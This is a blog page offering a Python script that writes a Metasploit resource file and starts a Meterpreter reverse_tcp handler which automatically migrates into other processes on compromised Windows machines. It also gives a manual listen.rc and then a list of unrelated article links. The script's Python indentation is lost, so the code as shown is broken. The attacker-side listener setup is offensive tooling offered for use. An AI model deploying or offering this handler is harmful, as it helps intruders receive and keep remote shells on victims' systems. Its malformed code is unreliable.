#!/usr/bin/python
#
# StartListener.py
# Simple python script to start a Meterpreter Listener
# Auto Inject to other process
# github: https://raw.github.com/obscuresec/random/master/StartListener.py

import sys
import subprocess
#write a resource file and call it
def build(lhost,lport):
options = "use exploit/multi/handler\n"
options += "set payload windows/meterpreter/reverse_tcp\nset LHOST {0}\nset LPORT {1}\n".format(lhost,lport)
options += "set ExitOnSession false\nset AutoRunScript post/windows/manage/smart_migrate\nexploit -j\n"
filewrite = file("listener.rc", "w")
filewrite.write(options)
filewrite.close()
subprocess.Popen("/usr/share/metasploit-framework/msfconsole -r listener.rc", shell=True).wait() #grab args
try:
lhost = sys.argv[1]
lport = sys.argv[2]
build(lhost,lport) #index error
except IndexError:
print "python StartListener.py lhost lport"

A easy but useful script. It create a file of metaspolit and load it to start a listener quickly.

You can change the listener type you what.

Before using it, you may also have to change the path of msfconsole file.

If you installed the metaspolit-framework on you system, you can use "/usr/bin/msfconsole"

You  can also create a file, such as "listen.rc"

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.150
set LPORT
set ExitOnSession false
set AutoRunScript post/windows/manage/migrate
exploit -j

Then,use it to start a listen.

msfconsole -r listen.rc

Quickly Start Listener scripts的更多相关文章

  1. Windows API Hooking in Python

    catalogue . 相关基础知识 . Deviare API Hook Overview . 使用ctypes调用Windows API . pydbg . winappdbg . dll inj ...

  2. Oracle Apps DBA 常用命令

    数据库启动监听 addlnctl.sh start instance 启动数据库 addbctl.sh start 启动应用服务器 adstrtal.sh 停止应用服务器 adstpall.sh -- ...

  3. php monolog 的写日志到unix domain socket 测试终于成功

    在另外一个客户端执行 php s.php后, 通过nc -lU /tmp/tg.sck 建立的unix domain socket 有接收到消息. <?php require 'vendor/a ...

  4. 使用可移动表空间(TTS)的最佳做法 (Doc ID 1457876.1)

    Best Practices for Using Transportable Tablespaces (TTS) (Doc ID 1457876.1) APPLIES TO: Oracle Datab ...

  5. 修改Oracle XE Listener 占用的1521、8080端口

    修改Oracle XE Listener 占用的1521.8080端口今天在帮开发人员Demon安装oracleXE时,有这么一段提示: [sql]   Destination Folder: D:\ ...

  6. Oracle Listener

    一.监听器功能 1)监听客户端请求:监听器作为独立进程运行在数据库服务器上,监听特定网络端口(默认1521)服务请求. 2)为客户端请求分配oracle Server Process:监听器不直接处理 ...

  7. [NPM] List available npm scripts and support tab completion

    In this lesson we will look at different ways you can list the available npm scripts. Whether we wan ...

  8. JavaWeb——Listener

    一.基本概念 JavaWeb里面的listener是通过观察者设计模式进行实现的.对于观察者模式,这里不做过多介绍,大概讲一下什么意思. 观察者模式又叫发布订阅模式或者监听器模式.在该模式中有两个角色 ...

  9. 严重: Exception sending context initialized event to listener instance of class

    问题描述:Exception sending context initialized event to listener instance of class org.springframework.w ...

随机推荐

  1. C#开发学习——SqlHelper的应用

    使用App.config配置文件封装连接字符串,方便重复使用--->添加App.conifg配置文件--->Add : ConnectionString:--->添加引用 <? ...

  2. 【repost】js字符串函数

    JS自带函数concat将两个或多个字符的文本组合起来,返回一个新的字符串.var a = "hello";var b = ",world";var c = a ...

  3. NG2入门 - 架构

    AngularJS2 学习 继TypeScript之后,终于到了ng2的学习路程,同样学习根据angular官网文档进行,对文档中的内容根据自己的理解略有改动.看官可看官网文档,也可以看本系列博文 首 ...

  4. 【SQL】T-SQL基本语法复习

    数据库基本的几个对象 数据表.视图.存储过程.索引.触发器.函数 增删改查 Insert into test(name,sex,ago) values ('陈三','男',20) Update tes ...

  5. Kattis - Fenwick Tree(树状数组区间更新单点求值)

    Fenwick Tree Input The first line of input contains two integers NN, QQ, where 1≤N≤50000001≤N≤500000 ...

  6. 第一百二十七节,JavaScript,JSON数据类型转换,数据转换成字符串,字符串转换成数据

    第一百二十七节,JavaScript,JSON数据类型转换,数据转换成字符串,字符串转换成数据 学习要点: 1.JSON语法 2.解析和序列化 前两章我们探讨了XML的结构化数据,但开发人员还是觉得这 ...

  7. 各种Python小玩意收集

    快速排序 quicksort = lambda lst: [] if not lst else quicksort([i for i in lst[1:] if i <= lst[0]]) + ...

  8. button 自动刷新当前页面

    button请始终为按钮规定 type 属性.Internet Explorer 的默认类型是 "button",而其他浏览器中(包括 W3C 规范)的默认值是 "sub ...

  9. CentOS 7.2 部署Saltstack

    CentOS 7.2部署Saltstack 一.环境介绍: 服务器名称 IP地址 Salt-Master 192.168.30.141 Slave1 192.168.30.131 Slave2 192 ...

  10. syntaxhighlighter的使用

    第一 解压压缩包,scripts文件夹中包含了各种语言的JS文件,在styles文件夹中是各种显示高亮的主题 第二 如何使用?首先要引入其核心javascript文件shCore.js和核心CSS文件 ...